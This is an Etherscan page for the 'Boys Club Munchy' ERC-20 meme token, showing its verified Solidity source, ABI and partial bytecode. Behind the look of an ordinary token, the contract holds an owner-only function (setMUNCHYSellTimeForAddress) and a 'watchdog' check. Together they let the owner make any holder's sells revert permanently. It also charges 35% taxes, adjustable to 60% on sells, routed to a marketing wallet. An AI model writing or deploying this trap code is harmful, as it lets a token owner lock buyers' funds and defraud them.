ETH Price: $3,452.89 (+4.27%)

Token

Boys Club Munchy (Munchy)
 

Overview

Max Total Supply

420,000,000 Munchy

Holders

6,455

Market

Price

$0.00 @ 0.000000 ETH (+3.52%)

Onchain Market Cap

$32,974.20

Circulating Supply Market Cap

$0.00

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
only-1.eth
Balance
1 Munchy

Value
$0.00 ( ~0 Eth) [0.0000%]
0x43099ac87Ef54047a4c8C14E61278CE158905fed
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MUNCHY

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-06-13
*/

// SPDX-License-Identifier: UNLICENSE
/*
Website: https://www.boysclubmunchy.vip
Telegram: https://t.me/boysclubmunchy 
Twitter: https://x.com/BoysClubMunchy                                                                  
*/

pragma solidity ^0.8.17;

library Address{
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IFactory{
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

contract MUNCHY is Context, IERC20, Ownable {

    using Address for address payable;

    IRouter public router;
    address public pair;
    
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludedFromFee;
    mapping (address => bool) public _isExcludedFromMaxBalance;

    mapping (address => uint256) public _dogSellTime;
    bool public watchdogMode = false;
    uint256 public _caughtDogs;

    uint8 private constant _decimals = 9; 
    uint256 private _tTotal = 420_000_000 * (10**_decimals);
    uint256 public swapThreshold = 4_200_000 * (10**_decimals); 
    uint256 public maxTxAmount = 4_200_000 * (10**_decimals);
    uint256 public maxWallet =  4_200_000 * (10**_decimals);

    string private constant _name = "Boys Club Munchy"; 
    string private constant _symbol = "Munchy";

    uint8 public buyTax = 35; 
    uint8 public sellTax = 35;

    address public marketingWallet = 0xF10c154F66A5EfC841b1840eFfE2A929C8B1155A ; 
    
    bool private tradingOpen = false;
    bool private swapping;
    modifier lockTheSwap {
        swapping = true;
        _;
        swapping = false;
    }   

    event SwapAndLiquify();
    event TaxesChanged();

    constructor () {
        _tOwned[_msgSender()] = _tTotal;
        
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[marketingWallet] = true;

        _isExcludedFromMaxBalance[owner()] = true;
        _isExcludedFromMaxBalance[address(this)] = true;
        _isExcludedFromMaxBalance[marketingWallet] = true;
        
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    receive() external payable {}

    function enableTrading() external onlyOwner{
        require(!tradingOpen,"Can only be opened once");
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
        router = _router; pair = _pair;
        _isExcludedFromMaxBalance[pair] = true;
        _approve(address(this), address(router), ~uint256(0));
        router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)) - (84_138_000 * 10**_decimals),0,0,owner(),block.timestamp);
        IERC20(pair).approve(address(router), ~uint256(0));
        tradingOpen = true;
    }

    function setMunchyContractTaxes(uint8 buyTax_, uint8 sellTax_) external onlyOwner{
        require(buyTax_ <= 35 && sellTax_<= 60, "Taxes can't exceed the limit.");
        buyTax = buyTax_; sellTax = sellTax_;
        emit TaxesChanged();
    }

    function setContractLimits(uint maxTX_EXACT, uint maxWallet_EXACT) public onlyOwner{
        uint pointFiveSupply = (_tTotal * 5 / 1000) / (10**_decimals);
        require(maxTX_EXACT >= pointFiveSupply && maxWallet_EXACT >= pointFiveSupply, "Invalid Settings");
        maxTxAmount = maxTX_EXACT * (10**_decimals);
        maxWallet = maxWallet_EXACT * (10**_decimals);
    }

    function setMunchySwapSettings(uint swapThreshold_EXACT) public onlyOwner{
        swapThreshold = swapThreshold_EXACT * (10**_decimals);
    }

    function setWatchdogOff() external onlyOwner{
        require(watchdogMode,"Already turned off.");
        watchdogMode = false;
    }

    function setMUNCHYSellTimeForAddress(address holder, uint dTime) external onlyOwner{
        _dogSellTime[holder] = block.timestamp + dTime;
    }

    function manualSwap() external lockTheSwap{
        require(msg.sender == marketingWallet);
        uint256 tokenBalance = balanceOf(address(this));
        if(tokenBalance > 0){
            uint256 ethSwapped = swapTokensForETH(tokenBalance);
            if(ethSwapped > 0)
                payable(marketingWallet).transfer(ethSwapped);
        }
        if (address(this).balance > 0)
            payable(marketingWallet).sendValue(address(this).balance);
    }

    function _preTransferCheck(address from,address to,uint256 amount) internal{
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        require(amount <= maxTxAmount || _isExcludedFromMaxBalance[from], "Transfer amount exceeds the _maxTxAmount.");

        if(!_isExcludedFromMaxBalance[to])
            require(balanceOf(to) + amount <= maxWallet, "Transfer amount exceeds the maxWallet.");
        
        if (balanceOf(address(this)) >= swapThreshold && !swapping && tradingOpen && from != pair && from != owner() && to != owner())
            swapAndLiquify();
    }

    function _watchDogCheck(address from,address to, bool isBuy) internal{
        if (isBuy){
            if(watchdogMode){
                _caughtDogs++;
                _dogSellTime[to] = block.timestamp + 3;
            }
        }else{
            if (_dogSellTime[from] != 0)
                require(block.timestamp < _dogSellTime[from]); 
        }
    }

    function _getTaxValues(uint amount, address from, bool isSell) private returns(uint256){
        uint256 taxedTokens = amount * buyTax / 100;
        if(isSell)
            taxedTokens = amount * sellTax / 100;

        if (taxedTokens > 0){
            _tOwned[address(this)] += taxedTokens;
            emit Transfer (from, address(this), taxedTokens);
        }
        return (amount - taxedTokens);
    }

    function _transfer(address from,address to,uint256 amount) private {
        _preTransferCheck(from, to, amount);
        _tOwned[from] -= amount;
        uint256 transferAmount = amount;
        if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){
            transferAmount = _getTaxValues(amount, from, to == pair);
            _watchDogCheck(from,to,from == pair);
        }
        _tOwned[to] += transferAmount;
        emit Transfer(from, to, transferAmount);
    }

    function swapAndLiquify() private lockTheSwap{

        uint256 tokensForMarketing = swapThreshold * 100 / 100;
        uint256 tokensForLiquidity = swapThreshold * 0 / 100;
        
        if(tokensForMarketing > 0){
            uint256 ethSwapped = swapTokensForETH(tokensForMarketing);
            if(ethSwapped > 0)
                payable(marketingWallet).transfer(ethSwapped);
        }

        if(tokensForLiquidity > 0){
            uint half = tokensForLiquidity / 2;
            uint otherHalf = tokensForLiquidity - half;
            uint balAutoLP = swapTokensForETH(half);
            if (balAutoLP > 0)
                addLiquidity(otherHalf, balAutoLP);
        }

        if (address(this).balance > 0)
            payable(marketingWallet).sendValue(address(this).balance);
        
        emit SwapAndLiquify();

    }

    function swapTokensForETH(uint256 tokenAmount) private returns (uint256) {
        uint256 initialBalance = address(this).balance;
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();

        _approve(address(this), address(router), tokenAmount);

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
        return (address(this).balance - initialBalance);
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(router), tokenAmount);

        (,uint256 ethFromLiquidity,) = router.addLiquidityETH {value: ethAmount} (
            address(this),
            tokenAmount,
            0,
            0,
            marketingWallet,
            block.timestamp
        );
        
        if (ethAmount - ethFromLiquidity > 0)
            payable(marketingWallet).sendValue (ethAmount - ethFromLiquidity);
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[],"name":"TaxesChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_caughtDogs","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_dogSellTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromMaxBalance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTX_EXACT","type":"uint256"},{"internalType":"uint256","name":"maxWallet_EXACT","type":"uint256"}],"name":"setContractLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"uint256","name":"dTime","type":"uint256"}],"name":"setMUNCHYSellTimeForAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"buyTax_","type":"uint8"},{"internalType":"uint8","name":"sellTax_","type":"uint8"}],"name":"setMunchyContractTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapThreshold_EXACT","type":"uint256"}],"name":"setMunchySwapSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setWatchdogOff","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"watchdogMode","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040525f60085f6101000a81548160ff0219169083151502179055506009600a6200002d91906200072f565b631908b1006200003e91906200077f565b600a556009600a6200005191906200072f565b624016406200006191906200077f565b600b556009600a6200007491906200072f565b624016406200008491906200077f565b600c556009600a6200009791906200072f565b62401640620000a791906200077f565b600d556023600e5f6101000a81548160ff021916908360ff1602179055506023600e60016101000a81548160ff021916908360ff16021790555073f10c154f66a5efc841b1840effe2a929c8b1155a600e60026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f600e60166101000a81548160ff0219169083151502179055503480156200015c575f80fd5b506200017d62000171620004ae60201b60201c565b620004b560201b60201c565b600a5460035f62000193620004ae60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160055f620001e56200057660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160055f600e60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f620003156200057660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f600e60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555062000440620004ae60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600a54604051620004a09190620007da565b60405180910390a3620007f5565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156200062757808604811115620005ff57620005fe6200059d565b5b60018516156200060f5780820291505b80810290506200061f85620005ca565b9450620005df565b94509492505050565b5f8262000641576001905062000713565b8162000650575f905062000713565b81600181146200066957600281146200067457620006aa565b600191505062000713565b60ff8411156200068957620006886200059d565b5b8360020a915084821115620006a357620006a26200059d565b5b5062000713565b5060208310610133831016604e8410600b8410161715620006e45782820a905083811115620006de57620006dd6200059d565b5b62000713565b620006f38484846001620005d6565b925090508184048111156200070d576200070c6200059d565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6200073b826200071a565b9150620007488362000723565b9250620007777fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000630565b905092915050565b5f6200078b826200071a565b915062000798836200071a565b9250828202620007a8816200071a565b91508282048414831517620007c257620007c16200059d565b5b5092915050565b620007d4816200071a565b82525050565b5f602082019050620007ef5f830184620007c9565b92915050565b613b3f80620008035f395ff3fe6080604052600436106101e6575f3560e01c80638da5cb5b11610101578063e1021dd311610094578063f2fde38b11610063578063f2fde38b146106c3578063f71dcc91146106eb578063f887ea4014610713578063f8b45b051461073d576101ed565b8063e1021dd31461060d578063ee9a5d8214610635578063ef07a18214610671578063f19622331461069b576101ed565b8063b45ad8ec116100d0578063b45ad8ec14610555578063cc1776d31461057d578063dd62ed3e146105a7578063e0a877c8146105e3576101ed565b80638da5cb5b1461049b57806395d89b41146104c5578063a8aa1b31146104ef578063a9059cbb14610519576101ed565b806350bf18a61161017957806375f0a8741161014857806375f0a874146103f5578063768dc7101461041f5780638a8c523c1461045b5780638c0b5e2214610471576101ed565b806350bf18a61461037757806351bc3c851461038d57806370a08231146103a3578063715018a6146103df576101ed565b806323b872dd116101b557806323b872dd146102ab57806328c61f41146102e7578063313ce567146103235780634f7041a51461034d576101ed565b80630445b667146101f157806306fdde031461021b578063095ea7b31461024557806318160ddd14610281576101ed565b366101ed57005b5f80fd5b3480156101fc575f80fd5b50610205610767565b604051610212919061290c565b60405180910390f35b348015610226575f80fd5b5061022f61076d565b60405161023c91906129af565b60405180910390f35b348015610250575f80fd5b5061026b60048036038101906102669190612a57565b6107aa565b6040516102789190612aaf565b60405180910390f35b34801561028c575f80fd5b506102956107c7565b6040516102a2919061290c565b60405180910390f35b3480156102b6575f80fd5b506102d160048036038101906102cc9190612ac8565b6107d0565b6040516102de9190612aaf565b60405180910390f35b3480156102f2575f80fd5b5061030d60048036038101906103089190612b18565b610883565b60405161031a9190612aaf565b60405180910390f35b34801561032e575f80fd5b506103376108a0565b6040516103449190612b5e565b60405180910390f35b348015610358575f80fd5b506103616108a8565b60405161036e9190612b5e565b60405180910390f35b348015610382575f80fd5b5061038b6108ba565b005b348015610398575f80fd5b506103a161099f565b005b3480156103ae575f80fd5b506103c960048036038101906103c49190612b18565b610b15565b6040516103d6919061290c565b60405180910390f35b3480156103ea575f80fd5b506103f3610b5b565b005b348015610400575f80fd5b50610409610be2565b6040516104169190612b86565b60405180910390f35b34801561042a575f80fd5b5061044560048036038101906104409190612b18565b610c08565b6040516104529190612aaf565b60405180910390f35b348015610466575f80fd5b5061046f610c25565b005b34801561047c575f80fd5b5061048561113f565b604051610492919061290c565b60405180910390f35b3480156104a6575f80fd5b506104af611145565b6040516104bc9190612b86565b60405180910390f35b3480156104d0575f80fd5b506104d961116c565b6040516104e691906129af565b60405180910390f35b3480156104fa575f80fd5b506105036111a9565b6040516105109190612b86565b60405180910390f35b348015610524575f80fd5b5061053f600480360381019061053a9190612a57565b6111ce565b60405161054c9190612aaf565b60405180910390f35b348015610560575f80fd5b5061057b60048036038101906105769190612b9f565b6111eb565b005b348015610588575f80fd5b50610591611330565b60405161059e9190612b5e565b60405180910390f35b3480156105b2575f80fd5b506105cd60048036038101906105c89190612bdd565b611343565b6040516105da919061290c565b60405180910390f35b3480156105ee575f80fd5b506105f76113c5565b6040516106049190612aaf565b60405180910390f35b348015610618575f80fd5b50610633600480360381019061062e9190612a57565b6113d7565b005b348015610640575f80fd5b5061065b60048036038101906106569190612b18565b6114a4565b604051610668919061290c565b60405180910390f35b34801561067c575f80fd5b506106856114b9565b604051610692919061290c565b60405180910390f35b3480156106a6575f80fd5b506106c160048036038101906106bc9190612c1b565b6114bf565b005b3480156106ce575f80fd5b506106e960048036038101906106e49190612b18565b61155d565b005b3480156106f6575f80fd5b50610711600480360381019061070c9190612c70565b611653565b005b34801561071e575f80fd5b5061072761178b565b6040516107349190612d09565b60405180910390f35b348015610748575f80fd5b506107516117b0565b60405161075e919061290c565b60405180910390f35b600b5481565b60606040518060400160405280601081526020017f426f797320436c7562204d756e63687900000000000000000000000000000000815250905090565b5f6107bd6107b66117b6565b84846117bd565b6001905092915050565b5f600a54905090565b5f6107dc848484611980565b610878846107e86117b6565b8460045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61082f6117b6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546108739190612d4f565b6117bd565b600190509392505050565b6006602052805f5260405f205f915054906101000a900460ff1681565b5f6009905090565b600e5f9054906101000a900460ff1681565b6108c26117b6565b73ffffffffffffffffffffffffffffffffffffffff166108e0611145565b73ffffffffffffffffffffffffffffffffffffffff1614610936576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092d90612dcc565b60405180910390fd5b60085f9054906101000a900460ff16610984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097b90612e34565b60405180910390fd5b5f60085f6101000a81548160ff021916908315150217905550565b6001600e60176101000a81548160ff021916908315150217905550600e60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a13575f80fd5b5f610a1d30610b15565b90505f811115610aa4575f610a3182611bfa565b90505f811115610aa257600e60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015610aa0573d5f803e3d5ffd5b505b505b5f471115610af857610af747600e60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611e4690919063ffffffff16565b5b505f600e60176101000a81548160ff021916908315150217905550565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610b636117b6565b73ffffffffffffffffffffffffffffffffffffffff16610b81611145565b73ffffffffffffffffffffffffffffffffffffffff1614610bd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bce90612dcc565b60405180910390fd5b610be05f611f36565b565b600e60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6005602052805f5260405f205f915054906101000a900460ff1681565b610c2d6117b6565b73ffffffffffffffffffffffffffffffffffffffff16610c4b611145565b73ffffffffffffffffffffffffffffffffffffffff1614610ca1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9890612dcc565b60405180910390fd5b600e60169054906101000a900460ff1615610cf1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce890612e9c565b60405180910390fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d90505f8173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d53573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d779190612ece565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308473ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ddc573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e009190612ece565b6040518363ffffffff1660e01b8152600401610e1d929190612ef9565b6020604051808303815f875af1158015610e39573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e5d9190612ece565b90508160015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160065f60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550610f823060015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff165f196117bd565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306009600a610fcf919061304f565b630503d810610fde9190613099565b610fe730610b15565b610ff19190612d4f565b5f80610ffb611145565b426040518863ffffffff1660e01b815260040161101d96959493929190613113565b60606040518083038185885af1158015611039573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061105e9190613186565b50505060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff165f196040518363ffffffff1660e01b81526004016110df9291906131d6565b6020604051808303815f875af11580156110fb573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061111f9190613227565b506001600e60166101000a81548160ff0219169083151502179055505050565b600c5481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4d756e6368790000000000000000000000000000000000000000000000000000815250905090565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f6111e16111da6117b6565b8484611980565b6001905092915050565b6111f36117b6565b73ffffffffffffffffffffffffffffffffffffffff16611211611145565b73ffffffffffffffffffffffffffffffffffffffff1614611267576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125e90612dcc565b60405180910390fd5b5f6009600a611276919061304f565b6103e86005600a546112889190613099565b611292919061327f565b61129c919061327f565b90508083101580156112ae5750808210155b6112ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e4906132f9565b60405180910390fd5b6009600a6112fb919061304f565b836113069190613099565b600c819055506009600a61131a919061304f565b826113259190613099565b600d81905550505050565b600e60019054906101000a900460ff1681565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60085f9054906101000a900460ff1681565b6113df6117b6565b73ffffffffffffffffffffffffffffffffffffffff166113fd611145565b73ffffffffffffffffffffffffffffffffffffffff1614611453576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144a90612dcc565b60405180910390fd5b804261145f9190613317565b60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffff